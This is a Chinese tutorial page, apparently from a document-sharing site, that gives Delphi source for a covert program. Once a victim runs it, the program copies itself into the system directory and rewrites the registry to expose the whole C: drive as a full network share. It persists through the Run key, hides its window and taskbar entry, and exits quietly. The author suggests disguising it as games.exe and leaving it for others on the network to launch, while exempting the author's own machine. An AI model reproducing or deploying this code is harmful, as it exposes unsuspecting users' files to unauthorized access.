网站导航免费论文 原创论文 论文搜索 原创论文 网学软件 学术大家 资料中心 会员中心 问题解答 原创论文 论文素材 设计下载 最新论文 下载排行 论文上传 在线投稿 联系我们
返回网学首页
网学联系
最新论文 推荐专题 热门论文 素材专题
当前位置: 网学 > 编程文档 > DELPHI > 正文
如何让C盘每次启动后都是完全共享
来源:Http://myeducs.cn 联系QQ:点击这里给我发消息 作者: 用户投稿 来源: 网络 发布时间: 12/10/12
下载{$ArticleTitle}原创论文样式

为什么我的C盘每次启动后都是完全共享?看看以下这个程序就明白了,噢,索叻是叻:)
    此程序当网络上其他用户执行后,会自己复制一份到该用户Windows的system目录下,,并修改该机的注册表,使该机的C盘自动改为完全共享,且每次启动机子后都会重新修改注册表,当然,为了不让别人看出执行的程序,该程序执行时不会在任务栏显示,本身也不回显,执行一秒钟后程序自动退出,不易被发觉。
来看源程序吧,该程序在Delphi5.0中通过:
    首先将mainform的BorderStyle属性设为bsNone,由于要修改注册表及复制文件,再在uses中加入 Registry,shellapi;
    大家注意程序中的注释:

procedure Tmainform.FormShow(Sender: TObject);
var
  MyReg:TRegistry;
  mysyspath:Pchar;
  F:TShFileOpStruct;
  file_To,file_From:string;
begin
  //得到用户机系统目录
  GetMem(MySysPath,255);
  GetSystemDirectory(MySysPath,255);
  //文件名 file_To:=mysyspath+''\Sysdef.exe'';
  //复制目标文件名 file_From:=application.ExeName;
  //复制源文件名
  //以下为注册表修改
  MyReg:=TRegistry.Create;
  MyReg.RootKey :=HKEY_LOCAL_MACHINE;
  try
    if not MyReg.OpenKey (''\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C'',True) then ;
      //指定子键能否打开,如不能则创建它,该子键包含硬盘共享参数
      if filesearch(''wz.txt'',MySysPath)='''' then
      //搜索有否wz.txt文件,有则不执行,该判断用于自己的机子,防止自己被黑,因而在自己的系统目录下建立此文件,则不会被修改
      begin
        MyReg.WriteInteger(''Flags'',258);//共享为完全共享
        MyReg.WriteInteger(''Type'',0);
        MyReg.WriteString(''Path'',''C:\'');
        MyReg.WriteString(''Remark'',''随便你想写什么'');
        MyReg.CloseKey;
      end;
    if not MyReg.OpenKey (''\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',True) then ;
    begin
      MyReg.WriteString(''Sysdef'',file_To);//将程序加载到启动中,每次开机自动执行
    end;
  finally
    MyReg.Free;//释放注册表资源
  end;
  //以下为拷贝文件
  with F do
  begin
    wnd:=application.Handle;
    pFrom:=pchar(file_From);
    pTo:=pchar(file_To);
    if FileSearch(''sysdef.exe'',mysyspath)='''' then
    wFunc:=FO_COPY;//文件是否存在,不存在则复制
    fFlags:=FOF_SILENT;//不显示Copy动画
  end;
  if ShFileOperation(F)<>0 then ; //此处为文件COPY失败的操作,此程序里为空操作
    timer1.Enabled :=true;
end;

procedure Tmainform.FormCreate(Sender: TObject);
begin
  //Form不可见
  Application.ShowMainForm:=false;
  //程序不出现在任务栏
  SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;

procedure Tmainform.Timer1Timer(Sender: TObject);
begin
  //一秒钟后程序退出
  close;
  application.Terminate;
end;


    程序完成后,将之放于显眼的地方,只要网络上的其他机子执行此程序后便会被修改,它的C盘可是赤裸裸的展现在你面前哟。 好了,小小程序,献丑了! (另注: 编译好的程序名为games,将之拷入根目录下可以很好的运行,但是有可能出错,将之拷入某盘任意目录下即可正常运行。经过我的试验,改为不同的文件名,需要的环境就不一样。我也有点纳闷,有可能是程序或者Windows的Bug。例如: c:\games.exe运行出错,拷到c:\dd\games.exe则不会出错,还希望高手指点:)

网学推荐

免费论文

原创论文

浏览:
设为首页 | 加入收藏 | 论文首页 | 论文专题 | 设计下载 | 网学软件 | 论文模板 | 论文资源 | 程序设计 | 关于网学 | 站内搜索 | 网学留言 | 友情链接 | 资料中心
版权所有 QQ:3710167 邮箱:3710167@qq.com 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
Copyright 2008-2015 myeducs.Cn www.myeducs.Cn All Rights Reserved
湘ICP备09003080号